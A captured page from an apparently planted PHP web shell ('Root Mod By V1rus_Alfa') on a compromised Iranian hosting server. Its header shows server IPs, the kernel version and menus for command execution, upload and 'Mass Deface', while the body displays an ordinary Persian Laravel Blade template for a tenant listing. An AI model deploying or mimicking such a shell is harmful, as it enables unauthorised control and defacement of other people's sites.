���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
portal-cutunix
/
resources
/
views
/
livewire
/
site
/
tenants
/
Viewing: all.blade.php
<div> @include('components.layouts.general.services-sub-header',['title'=>trans('container.workshop_orders_list')]) <div class="px-2"> <div class="my-2 w-full text-left " x-data="{open: false}"> <div class="flex justify-between w-full flex-col gap-2"> <div class="flex gap-2 flex-nowrap w-full"> <div class="flex w-3/12 gap-2"> <button type="button" class="inline-flex w justify-center px-4 py-2 text-sm font-medium bg-main-700 text-white rounded-md shadow-sm hover:bg-main-600 focus:border-indigo-300 focus:ring focus:ring-indigo-200 focus:ring-opacity-50" x-on:click="open = !open"> فیلتر <svg class="w-5 h-5 mr-2 -ml-1" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M3 4a1 1 0 011-1h16a1 1 0 011 1v2.586a1 1 0 01-.293.707l-6.414 6.414a1 1 0 00-.293.707V17l-4 4v-6.586a1 1 0 00-.293-.707L3.293 7.293A1 1 0 013 6.586V4z"></path> </svg> </button> <button x-show="open" class="bg-red-700 text-xs text-white p-1 rounded text-nowrap" wire:click="clearFilters"> حذف فیلتر </button> </div> </div> <div class="flex flex-col gap-2" x-show="open" x-transition:enter="ease-out duration-300" x-transition:enter-start="opacity-0 translate-y-4 sm:translate-y-0 sm:scale-95" x-transition:enter-end="opacity-100 translate-y-0 sm:scale-100" x-transition:leave="ease-in duration-200" x-transition:leave-start="opacity-100 translate-y-0 sm:scale-100" x-transition:leave-end="opacity-0 translate-y-4 sm:translate-y-0 sm:scale-95" > <div class="row flex w-full mb-2"> <div class="flex lg:w-4/12 gap-2 items-center xxs:w-full"> <label for="own" class="cursor-pointer">جستجو:</label> <input type="text" wire:model.live='search' placeholder="جستجو" class="block w-full ml-2 border-gray-500 rounded-md shadow-sm transition duration-150 ease-in-out sm:text-sm sm:leading-5"> </div> <div class="flex lg:w-8/12 gap-2 items-center xxs:-w-full"> <div class="flex gap-2 items-center w-6/12"> <label for="province" class="cursor-pointer">استان:</label> <select type="text" wire:model.live='province' wire:change="getSelectedProvince" class="block w-full ml-2 border-gray-500 rounded-md shadow-sm transition duration-150 ease-in-out sm:text-sm sm:leading-5"> @foreach($provinces as $key => $province) <option value="{{ $province->id }}" {{-- @if(!is_null($tenant->state_id) && $tenant->state->state == $province) selected @endif--}} >{{ $province->state }}</option> @endforeach </select> </div> <div class="flex gap-2 items-center w-6/12"> <label for="city" class="cursor-pointer">شهر:</label> <select type="text" wire:model.live='city' wire:key="{{ $province }}" class="block w-full ml-2 border-gray-500 rounded-md shadow-sm transition duration-150 ease-in-out sm:text-sm sm:leading-5"> <option value="{{ null }}">همه</option> @foreach($cities as $key => $city) <option value="{{ $city->id }}" {{-- @if(!is_null($tenant->city_id) && $tenant->city->city == $city->id) selected @endif--}} >{{ $city->city }}</option> @endforeach </select> </div> </div> </div> <div class="row flex w-full mb-2"> <div class="flex lg:w-4/12 gap-2 items-center xxs:w-full"> <label for="status" class="cursor-pointer">وضعیت:</label> <select type="text" wire:model.live='status' class="block w-full ml-2 border-gray-500 rounded-md shadow-sm transition duration-150 ease-in-out sm:text-sm sm:leading-5"> <option value="all">همه</option> @foreach($statuses as $key => $stts) <option value="{{ $key }}"> {{ $stts }} </option> @endforeach </select> </div> </div> </div> </div> </div> <div class="flex gap-2 w-full mx-auto text-center justify-center"> <input type="text" wire:model.live="title" disabled class="w-full border-none text-center bold"> </div> <div class="w-full p-2 text-center"> @if(count($tenants)) @foreach($tenants as $tenant) <div class="services-container flex flex-col gap-2 mb-2 rounded border-[1px] border-[#d5d5d5] p-2"> <div class="services-container-header flex gap-2 p-2 items-center"> <div class="bg-[#feb139] flex w-full p-2 gap-2"> <div>نام خدماتی:</div> <div> {{ $tenant->title }} </div> </div> </div> <hr class="h-[2px] bg-black mx-2"> <div class="services-container-body rounded"> <div class="row flex w-full gap-2 p-2"> <div class="flex w-full gap-2"> <label for="">وضعیت خدماتی:</label> <label for="" class="text-green-500">{{ trans('container.' . $tenant->status) }}</label> </div> </div> <div class="row flex w-full gap-2 p-2"> <div class="flex w-full gap-2"> <label for="">آدرس:</label> <label for="" class="text-gray-600"> {{ $tenant->state->state }} - {{ $tenant->city->city }} - {{ $tenant->address }} </label> </div> </div> <div class="row flex w-full gap-2 p-2 items-center"> <div class="flex w-6/12 gap-2 items-center text-main-700"> <a href="{{ route('tenants.details', ['locale' => get_locale() , 'tenant' => $tenant]) }}" class="flex items-center gap-2 py-2" wire:navigate > <i class="bx bx-show"></i> <span> مشاهده جزئیات خدماتی </span> </a> </div> </div> <div class="row flex w-full gap-2 p-2 items-center"> <div class="flex w-full gap-2 items-center justify-end"> <button onclick="showConfirmationDialog().then(res => res.isConfirmed ? @this.sendToServiceWorkshop({{ $tenant->id }}) : null)" class="rounded bg-main-700 text-white gap-2 flex items-center p-2"> <i class="bx bx-check"></i> <span> انتخاب </span> </button> </div> </div> </div> </div> @endforeach <div class="my-2"> <button class="rounded bg-main-700 text-white flex gap-2 p-2 items-center mx-auto" wire:click="increaseScroll"> <i class="bx bx-plus-circle"></i> <span>بیشتر</span> </button> </div> @else <h2 class="text-red-500 my-[5rem] bold"> رکوردی برای نمایش وجود ندارد </h2> @endif </div> </div> </div>
Coded With 💗 by
0x6ick Mod By V1rus_Alfa